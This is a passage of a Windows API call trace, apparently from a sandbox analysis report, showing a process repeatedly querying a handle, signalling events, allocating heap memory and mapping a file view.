ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.636] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.636] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.636] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.636] ResetEvent (hEvent=0xdc) returned 1 [0093.636] SetEvent (hEvent=0xe0) returned 1 [0093.636] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.636] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.637] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.637] ResetEvent (hEvent=0xdc) returned 1 [0093.637] SetEvent (hEvent=0xe0) returned 1 [0093.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.637] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.638] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.638] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.638] ResetEvent (hEvent=0xdc) returned 1 [0093.638] SetEvent (hEvent=0xe0) returned 1 [0093.638] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.638] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.639] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.639] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.639] ResetEvent (hEvent=0xdc) returned 1 [0093.639] SetEvent (hEvent=0xe0) returned 1 [0093.639] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.639] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.639] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.639] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.639] ResetEvent (hEvent=0xdc) returned 1 [0093.640] SetEvent (hEvent=0xe0) returned 1 [0093.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.640] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.640] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.640] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.640] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.640] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.640] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.641] ResetEvent (hEvent=0xdc) returned 1 [0093.641] SetEvent (hEvent=0xe0) returned 1 [0093.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.641] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.641] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.641] ResetEvent (hEvent=0xdc) returned 1 [0093.641] SetEvent (hEvent=0xe0) returned 1 [0093.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.642] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.642] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.642] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.642] ResetEvent (hEvent=0xdc) returned 1 [0093.642] SetEvent (hEvent=0xe0) returned 1 [0093.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.643] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.643] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.643] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.643] ResetEvent (hEvent=0xdc) returned 1 [0093.643] SetEvent (hEvent=0xe0) returned 1 [0093.644] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.645] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.645] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.645] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.645] ResetEvent (hEvent=0xdc) returned 1 [0093.645] SetEvent (hEvent=0xe0) returned 1 [0093.645] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.645] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.646] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.646] ResetEvent (hEvent=0xdc) returned 1 [0093.646] SetEvent (hEvent=0xe0) returned 1 [0093.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.646] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.647] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.647] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.647] ResetEvent (hEvent=0xdc) returned 1 [0093.647] SetEvent (hEvent=0xe0) returned 1 [0093.647] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.647] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.648] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.648] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.648] ResetEvent (hEvent=0xdc) returned 1 [0093.648] SetEvent (hEvent=0xe0) returned 1 [0093.648] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.648] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.649] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.649] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.649] ResetEvent (hEvent=0xdc) returned 1 [0093.649] SetEvent (hEvent=0xe0) returned 1 [0093.649] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.649] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.650] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.650] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.650] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.650] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.650] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.650] ResetEvent (hEvent=0xdc) returned 1 [0093.650] SetEvent (hEvent=0xe0) returned 1 [0093.650] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.650] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.651] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.651] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.651] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.651] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.651] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.651] ResetEvent (hEvent=0xdc) returned 1 [0093.651] SetEvent (hEvent=0xe0) returned 1 [0093.651] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.651] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.652] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.652] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.652] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.652] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.652] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.652] ResetEvent (hEvent=0xdc) returned 1 [0093.652] SetEvent (hEvent=0xe0) returned 1 [0093.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.652] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.653] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.653] ResetEvent (hEvent=0xdc) returned 1 [0093.653] SetEvent (hEvent=0xe0) returned 1 [0093.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.653] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.653] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.653] ResetEvent (hEvent=0xdc) returned 1 [0093.654] SetEvent (hEvent=0xe0) returned 1 [0093.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.654] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.654] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.654] ResetEvent (hEvent=0xdc) returned 1 [0093.654] SetEvent (hEvent=0xe0) returned 1 [0093.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.655] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.655] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.655] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.655] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.655] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.655] ResetEvent (hEvent=0xdc) returned 1 [0093.655] SetEvent (hEvent=0xe0) returned 1 [0093.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.656] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.656] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.656] ResetEvent (hEvent=0xdc) returned 1 [0093.656] SetEvent (hEvent=0xe0) returned 1 [0093.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.657] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.657] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.657] ResetEvent (hEvent=0xdc) returned 1 [0093.657] SetEvent (hEvent=0xe0) returned 1 [0093.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.657] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.658] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.658] ResetEvent (hEvent=0xdc) returned 1 [0093.658] SetEvent (hEvent=0xe0) returned 1 [0093.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.658] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.659] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.659] ResetEvent (hEvent=0xdc) returned 1 [0093.659] SetEvent (hEvent=0xe0) returned 1 [0093.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.659] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.660] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.660] ResetEvent (hEvent=0xdc) returned 1 [0093.660] SetEvent (hEvent=0xe0) returned 1 [0093.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.660] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.660] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.660] ResetEvent (hEvent=0xdc) returned 1 [0093.660] SetEvent (hEvent=0xe0) returned 1 [0093.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.661] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.662] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.662] ResetEvent (hEvent=0xdc) returned 1 [0093.662] SetEvent (hEvent=0xe0) returned 1 [0093.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.662] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.662] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.662] ResetEvent (hEvent=0xdc) returned 1 [0093.663] SetEvent (hEvent=0xe0) returned 1 [0093.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.663] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.663] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.663] ResetEvent (hEvent=0xdc) returned 1 [0093.663] SetEvent (hEvent=0xe0) returned 1 [0093.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.664] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.664] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.664] ResetEvent (hEvent=0xdc) returned 1 [0093.664] SetEvent (hEvent=0xe0) returned 1 [0093.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.665] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.665] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.665] ResetEvent (hEvent=0xdc) returned 1 [0093.665] SetEvent (hEvent=0xe0) returned 1 [0093.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.665] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.666] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.666] ResetEvent (hEvent=0xdc) returned 1 [0093.666] SetEvent (hEvent=0xe0) returned 1 [0093.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.666] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.667] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.667] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.667] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.667] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.667] ResetEvent (hEvent=0xdc) returned 1 [0093.667] SetEvent (hEvent=0xe0) returned 1 [0093.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.667] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.668] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.668] ResetEvent (hEvent=0xdc) returned 1 [0093.668] SetEvent (hEvent=0xe0) returned 1 [0093.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.668] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.669] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.669] ResetEvent (hEvent=0xdc) returned 1 [0093.669] SetEvent (hEvent=0xe0) returned 1 [0093.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.669] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.670] NtQueryObject (in: Handle=0x15c, 